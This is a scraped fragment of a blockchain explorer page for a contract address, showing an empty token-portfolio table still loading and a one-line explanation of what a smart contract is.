Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.